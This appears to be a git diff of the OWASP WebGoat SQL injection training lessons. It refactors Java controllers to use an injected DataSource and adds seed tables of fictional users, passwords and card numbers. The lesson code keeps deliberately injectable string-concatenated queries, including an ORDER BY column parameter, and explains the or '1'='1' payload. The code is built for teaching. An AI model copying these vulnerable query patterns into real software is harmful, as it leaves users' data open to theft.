output.append("<span class='feedback-positive'>" + query + "</span>");
output.append(SqlInjectionLesson8.generateTable(results));
return trackProgress(success().feedback("sql-injection.2.success").output(output.toString()).build());
} else {
return trackProgress(failed().feedback("sql-injection.2.failed").output(output.toString()).build());
}
} catch (Exception e) {
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
} catch (SQLException sqle) {
return trackProgress(failed().feedback("sql-injection.2.failed").output(sqle.getMessage()).build());
}
}
}

@ -26,16 +26,31 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import static java.sql.ResultSet.CONCUR_READ_ONLY;
import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"})
public class SqlInjectionLesson3 extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson3(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjection/attack3")
@ResponseBody
public AttackResult completed(@RequestParam String query) {
@ -43,15 +58,10 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
}
protected AttackResult injectableQuery(String _query) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = _query;
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
Statement check_statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
CONCUR_READ_ONLY);
statement.executeUpdate(_query);
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
StringBuffer output = new StringBuffer();
@ -66,7 +76,6 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e) {

@ -25,19 +25,28 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import javax.sql.DataSource;
import java.sql.*;
import static java.sql.ResultSet.*;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"})
public class SqlInjectionLesson4 extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson4(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjection/attack4")
@ResponseBody
public AttackResult completed(@RequestParam String query) {
@ -45,16 +54,11 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
}
protected AttackResult injectableQuery(String _query) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
statement.executeUpdate(_query);
ResultSet _results = check_statement.executeQuery("SELECT phone from employees;");
ResultSetMetaData _resultMetaData = _results.getMetaData();
connection.commit();
ResultSet _results = statement.executeQuery("SELECT phone from employees;");
StringBuffer output = new StringBuffer();
// user completes lesson if column phone exists
if (_results.first()) {
@ -63,9 +67,7 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
} else {
return trackProgress(failed().output(output.toString()).build());
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e) {

@ -38,13 +38,13 @@ public class SqlInjectionLesson5 extends AssignmentEndpoint {
@PostMapping("/SqlInjection/attack5")
@ResponseBody
public AttackResult completed(@RequestParam("_query") String query) {
public AttackResult completed(String query) {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String query) {
try {
String regex = "(?i)^(grant alter table to [\"']?unauthorizedUser[\"']?)(?:[;]?)$";
String regex = "(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$";
StringBuffer output = new StringBuffer();
// user completes lesson if the query is correct

@ -24,12 +24,13 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import javax.sql.DataSource;
import java.sql.*;
@ -37,83 +38,83 @@ import java.sql.*;
@AssignmentHints(value = {"SqlStringInjectionHint5a1"})
public class SqlInjectionLesson5a extends AssignmentEndpoint {
private static final String EXPLANATION = "<br> Explanation: This injection works, because <span style=\"font-style: italic\">or '1' = '1'</span> "
+ "always evaluates to true (The string ending literal for '1 is closed by the query itself, so you should not inject it). "
+ "So the injected query basically looks like this: <span style=\"font-style: italic\">SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE</span>, "
+ "which will always evaluate to true, no matter what came before it.";
private static final String EXPLANATION = "<br> Explanation: This injection works, because <span style=\"font-style: italic\">or '1' = '1'</span> "
+ "always evaluates to true (The string ending literal for '1 is closed by the query itself, so you should not inject it). "
+ "So the injected query basically looks like this: <span style=\"font-style: italic\">SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE</span>, "
+ "which will always evaluate to true, no matter what came before it.";
private final DataSource dataSource;
@PostMapping("/SqlInjection/assignment5a")
@ResponseBody
public AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {
return injectableQuery(account + " " + operator + " " + injection);
}
public SqlInjectionLesson5a(DataSource dataSource) {
this.dataSource = dataSource;
}
protected AttackResult injectableQuery(String accountName) {
String query = "";
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";
try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY)) {
@PostMapping("/SqlInjection/assignment5a")
@ResponseBody
public AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {
return injectableQuery(account + " " + operator + " " + injection);
}
ResultSet results = statement.executeQuery(query);
protected AttackResult injectableQuery(String accountName) {
String query = "";
try (Connection connection = dataSource.getConnection()) {
query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";
try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first())) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuilder output = new StringBuilder();
if ((results != null) && (results.first())) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuilder output = new StringBuilder();
output.append(writeTable(results, resultsMetaData));
results.last();
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6) {
return trackProgress(success().feedback("sql-injection.5a.success").output("Your query was: " + query + EXPLANATION).feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + query).build());
}
} else {
return trackProgress(failed().feedback("sql-injection.5a.no.results").output("Your query was: " + query).build());
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + query).build());
}
} catch (Exception e) {
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query).build());
}
}
public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws SQLException {
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuilder t = new StringBuilder();
t.append("<p>");
if (results.next()) {
for (int i = 1; i < (numColumns + 1); i++) {
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next()) {
for (int i = 1; i < (numColumns + 1); i++) {
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
// If they get back more than one user they succeeded
if (results.getRow() >= 6) {
return trackProgress(success().feedback("sql-injection.5a.success").output("Your query was: " + query + EXPLANATION).feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + query).build());
}
} else {
return trackProgress(failed().feedback("sql-injection.5a.no.results").output("Your query was: " + query).build());
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + query).build());
}
} catch (Exception e) {
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query).build());
}
}
public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws SQLException {
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuilder t = new StringBuilder();
t.append("<p>");
if (results.next()) {
for (int i = 1; i < (numColumns + 1); i++) {
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next()) {
for (int i = 1; i < (numColumns + 1); i++) {
t.append(results.getString(i));
t.append(", ");
t.append("Query Successful; however no data was returned from this query.");
}
t.append("<br />");
}
} else {
t.append("Query Successful; however no data was returned from this query.");
t.append("</p>");
return (t.toString());
}
t.append("</p>");
return (t.toString());
}
}

@ -26,10 +26,13 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.sql.DataSource;
import java.io.IOException;
import java.sql.*;
@ -38,59 +41,61 @@ import java.sql.*;
@AssignmentHints(value = {"SqlStringInjectionHint5b1", "SqlStringInjectionHint5b2", "SqlStringInjectionHint5b3", "SqlStringInjectionHint5b4"})
public class SqlInjectionLesson5b extends AssignmentEndpoint {
@PostMapping("/SqlInjection/assignment5b")
@ResponseBody
public AttackResult completed(@RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException {
return injectableQuery(login_count, userid);
}
private final DataSource dataSource;
protected AttackResult injectableQuery(String login_count, String accountName) {
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
public SqlInjectionLesson5b(DataSource dataSource) {
this.dataSource = dataSource;
}
int count = 0;
try {
count = Integer.parseInt(login_count);
} catch(Exception e) {
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
"<br> Your query was: " + queryString.replace("?", login_count)).build());
}
@PostMapping("/SqlInjection/assignment5b")
@ResponseBody
public AttackResult completed(@RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException {
return injectableQuery(login_count, userid);
}
query.setInt(1, count);
//String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid = " + accountName, ;
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = query.executeQuery();
protected AttackResult injectableQuery(String login_count, String accountName) {
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
try (Connection connection = dataSource.getConnection()) {
PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
if ((results != null) && (results.first() == true)) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
int count = 0;
try {
count = Integer.parseInt(login_count);
} catch (Exception e) {
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
"<br> Your query was: " + queryString.replace("?", login_count)).build());
}
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
results.last();
query.setInt(1, count);
//String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid = " + accountName, ;
try {
ResultSet results = query.executeQuery();
// If they get back more than one user they succeeded
if (results.getRow() >= 6) {
return trackProgress(success().feedback("sql-injection.5b.success").output("Your query was: " + queryString.replace("?", login_count)).feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
if ((results != null) && (results.first() == true)) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
} else {
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6) {
return trackProgress(success().feedback("sql-injection.5b.success").output("Your query was: " + queryString.replace("?", login_count)).feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
} else {
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
// output.append(getLabelManager().get("NoResultsMatched"));
}
} catch (SQLException sqle) {
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
} catch (Exception e) {
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
} catch (Exception e) {
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
}
}
}

@ -25,20 +25,29 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import java.util.Calendar;
import java.text.SimpleDateFormat;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.sql.DataSource;
import java.sql.*;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import static java.sql.ResultSet.*;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint.8.1", "SqlStringInjectionHint.8.2", "SqlStringInjectionHint.8.3", "SqlStringInjectionHint.8.4", "SqlStringInjectionHint.8.5"})
public class SqlInjectionLesson8 extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson8(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjection/attack8")
@ResponseBody
public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {
@ -49,11 +58,9 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
StringBuffer output = new StringBuffer();
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
try (Connection connection = dataSource.getConnection()) {
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
log(connection, query);
ResultSet results = statement.executeQuery(query);
@ -126,7 +133,7 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
try {
Statement statement = connection.createStatement();
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
statement.executeUpdate(log_query);
} catch (SQLException e) {
System.err.println(e.getMessage());

@ -26,21 +26,30 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import static java.sql.ResultSet.CONCUR_READ_ONLY;
import static org.hsqldb.jdbc.JDBCResultSet.*;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint.9.1", "SqlStringInjectionHint.9.2", "SqlStringInjectionHint.9.3", "SqlStringInjectionHint.9.4", "SqlStringInjectionHint.9.5"})
public class SqlInjectionLesson9 extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson9(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjection/attack9")
@ResponseBody
public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {
@ -50,15 +59,12 @@ public class SqlInjectionLesson9 extends AssignmentEndpoint {
protected AttackResult injectableQueryIntegrity(String name, String auth_tan) {
StringBuffer output = new StringBuffer();
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
try (Connection connection = dataSource.getConnection()) {
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
SqlInjectionLesson8.log(connection, query);
ResultSet results = statement.executeQuery(query);
var test = results.getRow() != 0;
if (results.getStatement() != null) {
if (results.first()) {
output.append(SqlInjectionLesson8.generateTable(results));
@ -66,7 +72,6 @@ public class SqlInjectionLesson9 extends AssignmentEndpoint {
// no results
return trackProgress(failed().feedback("sql-injection.8.no.results").build());
}
}
} catch (SQLException e) {
System.err.println(e.getMessage());
@ -84,20 +89,20 @@ public class SqlInjectionLesson9 extends AssignmentEndpoint {
private AttackResult checkSalaryRanking(Connection connection, StringBuffer output) {
try {
String query = "SELECT * FROM employees ORDER BY salary DESC";
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
try (Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
) {
ResultSet results = statement.executeQuery(query);
results.first();
// user completes lesson if John Smith is the first in the list
if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) {
output.append(SqlInjectionLesson8.generateTable(results));
return trackProgress(success().feedback("sql-injection.9.success").output(output.toString()).build());
} else {
return trackProgress(failed().feedback("sql-injection.9.one").output(output.toString()).build());
results.first();
// user completes lesson if John Smith is the first in the list
if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) {
output.append(SqlInjectionLesson8.generateTable(results));
return trackProgress(success().feedback("sql-injection.9.success").output(output.toString()).build());
} else {
return trackProgress(failed().feedback("sql-injection.9.one").output(output.toString()).build());
}
}
} catch (SQLException e) {
System.err.println(e.getMessage());
return trackProgress(failed().feedback("sql-injection.error").output("<br><span class='feedback-negative'>" + e.getMessage() + "</span>").build());
}
}

@ -26,12 +26,10 @@ import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.SneakyThrows;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
@ -45,6 +43,8 @@ import java.util.List;
@RequestMapping("SqlInjectionMitigations/servers")
public class Servers {
private final DataSource dataSource;
@AllArgsConstructor
@Getter
private class Server {
@ -57,14 +57,15 @@ public class Servers {
private String description;
}
@Autowired
private WebSession webSession;
public Servers(DataSource dataSource) {
this.dataSource = dataSource;
}
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@SneakyThrows
@ResponseBody
public List<Server> sort(@RequestParam String column) {
Connection connection = DatabaseUtilities.getConnection(webSession);
Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
ResultSet rs = preparedStatement.executeQuery();
List<Server> servers = Lists.newArrayList();

@ -22,23 +22,20 @@
package org.owasp.webgoat.sql_injection.mitigation;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@Slf4j
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-10a2"})
public class SqlInjectionLesson10a extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
private String[] results = {"getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString"};
@PostMapping("/SqlInjectionMitigations/attack10a")
@ -47,15 +44,15 @@ public class SqlInjectionLesson10a extends AssignmentEndpoint {
String[] userInput = {field1, field2, field3, field4, field5, field6, field7};
int position = 0;
boolean completed = false;
for(String input : userInput) {
if(input.toLowerCase().contains(this.results[position].toLowerCase())) {
for (String input : userInput) {
if (input.toLowerCase().contains(this.results[position].toLowerCase())) {
completed = true;
} else {
return trackProgress(failed().build());
}
position++;
}
if(completed) {
if (completed) {
return trackProgress(success().build());
}
return trackProgress(failed().build());

@ -27,42 +27,40 @@ import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
/**
* @author nbaars
* @since 6/13/17.
*/
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
@Slf4j
public class SqlInjectionLesson12a extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
private final DataSource dataSource;
public SqlInjectionLesson12a(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjectionMitigations/attack12a")
@ResponseBody
@SneakyThrows
public AttackResult completed(@RequestParam String ip) {
Connection connection = DatabaseUtilities.getConnection(webSession);
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
preparedStatement.setString(1, ip);
preparedStatement.setString(2, "webgoat-prd");
ResultSet resultSet = preparedStatement.executeQuery();
if (resultSet.next()) {
return trackProgress(success().build());
try (Connection connection = dataSource.getConnection()) {
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
preparedStatement.setString(1, ip);
preparedStatement.setString(2, "webgoat-prd");
ResultSet resultSet = preparedStatement.executeQuery();
if (resultSet.next()) {
return trackProgress(success().build());
}
return trackProgress(failed().build());
}
return trackProgress(failed().build());
}
}

@ -0,0 +1,13 @@
CREATE TABLE servers(
id varchar(10),
hostname varchar(20),
ip varchar(20),
mac varchar(20),
status varchar(20),
description varchar(40)
);
INSERT INTO servers VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server');
INSERT INTO servers VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server');
INSERT INTO servers VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server');
INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server');
INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server');

@ -0,0 +1,24 @@
CREATE TABLE user_data(
userid int not null,
first_name varchar(20),
last_name varchar(20),
cc_number varchar(30),
cc_type varchar(10),
cookie varchar(20),
login_count int
);
INSERT INTO user_data VALUES (101,'Joe','Snow','987654321','VISA',' ',0);
INSERT INTO user_data VALUES (101,'Joe','Snow','2234200065411','MC',' ',0);
INSERT INTO user_data VALUES (102,'John','Smith','2435600002222','MC',' ',0);
INSERT INTO user_data VALUES (102,'John','Smith','4352209902222','AMEX',' ',0);
INSERT INTO user_data VALUES (103,'Jane','Plane','123456789','MC',' ',0);
INSERT INTO user_data VALUES (103,'Jane','Plane','333498703333','AMEX',' ',0);
INSERT INTO user_data VALUES (10312,'Jolly','Hershey','176896789','MC',' ',0);
INSERT INTO user_data VALUES (10312,'Jolly','Hershey','333300003333','AMEX',' ',0);
INSERT INTO user_data VALUES (10323,'Grumpy','youaretheweakestlink','673834489','MC',' ',0);
INSERT INTO user_data VALUES (10323,'Grumpy','youaretheweakestlink','33413003333','AMEX',' ',0);
INSERT INTO user_data VALUES (15603,'Peter','Sand','123609789','MC',' ',0);
INSERT INTO user_data VALUES (15603,'Peter','Sand','338893453333','AMEX',' ',0);
INSERT INTO user_data VALUES (15613,'Joesph','Something','33843453533','AMEX',' ',0);
INSERT INTO user_data VALUES (15837,'Chaos','Monkey','32849386533','CM',' ',0);
INSERT INTO user_data VALUES (19204,'Mr','Goat','33812953533','VISA',' ',0);

@ -0,0 +1,10 @@
CREATE TABLE salaries(
userid varchar(50),
salary int
);
INSERT INTO salaries VALUES ('jsmith', 20000);
INSERT INTO salaries VALUES ('lsmith', 45000);
INSERT INTO salaries VALUES ('wgoat', 100000);
INSERT INTO salaries VALUES ('rjones', 777777);
INSERT INTO salaries VALUES ('manderson', 65000);

@ -0,0 +1,14 @@
CREATE TABLE user_data_tan (
userid int not null,
first_name varchar(20),
last_name varchar(20),
cc_number varchar(30),
cc_type varchar(10),
cookie varchar(20),
login_count int,
password varchar(20)
);
INSERT INTO user_data_tan VALUES (101,'Joe','Snow','987654321','VISA',' ',0, 'banana');
INSERT INTO user_data_tan VALUES (102,'Jane','Plane','74589864','MC',' ',0, 'tarzan');
INSERT INTO user_data_tan VALUES (103,'Jack','Sparrow','68659365','MC',' ',0, 'sniffy');

@ -0,0 +1,10 @@
CREATE TABLE sql_challenge_users(
userid varchar(250),
email varchar(30),
password varchar(30)
);
INSERT INTO sql_challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows');
INSERT INTO sql_challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly');
INSERT INTO sql_challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**');
INSERT INTO sql_challenge_users VALUES ('eve', 'eve@webgoat.org', '**********');

@ -0,0 +1,12 @@
CREATE TABLE user_system_data(
userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30)
);
INSERT INTO user_system_data VALUES (101,'jsnow','passwd1', '');
INSERT INTO user_system_data VALUES (102,'jdoe','passwd2', '');
INSERT INTO user_system_data VALUES (103,'jplane','passwd3', '');
INSERT INTO user_system_data VALUES (104,'jeff','jeff', '');
INSERT INTO user_system_data VALUES (105,'dave','passW0rD', '');

@ -0,0 +1,20 @@
CREATE TABLE employees(
